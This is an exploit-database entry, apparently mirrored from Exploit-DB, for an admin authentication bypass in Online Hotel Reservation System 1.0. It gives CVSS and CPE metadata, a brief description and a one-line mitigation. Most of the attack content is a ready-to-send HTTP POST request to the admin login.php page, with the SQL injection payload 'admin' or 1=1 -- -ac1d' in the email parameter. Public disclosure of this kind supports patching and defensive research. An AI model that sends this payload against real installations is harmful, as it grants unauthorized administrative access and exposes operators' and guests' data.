Online Hotel Reservation System 1.0 - Admin Authentication Bypass

vendor:

Online Hotel Reservation System

by:

Richard Jones

8.8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Online Hotel Reservation System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:online_hotel_reservation_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

2021

Online Hotel Reservation System 1.0 – Admin Authentication Bypass

This exploit allows an attacker to bypass the authentication of the Online Hotel Reservation System 1.0 by sending a specially crafted HTTP POST request to the login.php page. The request contains an email parameter with a value of 'admin' or 1=1 -- -ac1d, which bypasses the authentication check and allows the attacker to gain access to the admin panel.

Mitigation:

Ensure that authentication checks are properly implemented and that user input is properly sanitized and validated.

Source

Exploit-DB raw data:

# Exploit Title: Online Hotel Reservation System 1.0 - Admin Authentication Bypass
# Exploit Author: Richard Jones
# Date: 2021-01-13
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Exploit URL: http://TARGET/marimar/admin/index.php
 Host: TARGET
 POST /marimar/admin/login.php HTTP/1.1
 Content-Length: 57
 Connection: close
 Cookie: PHPSESSID=82sevuai2qhh9h8b5jbucn0616

 email=admin%27+or+1%3D1+--+-ac1d&pass=asdasdasd&btnlogin=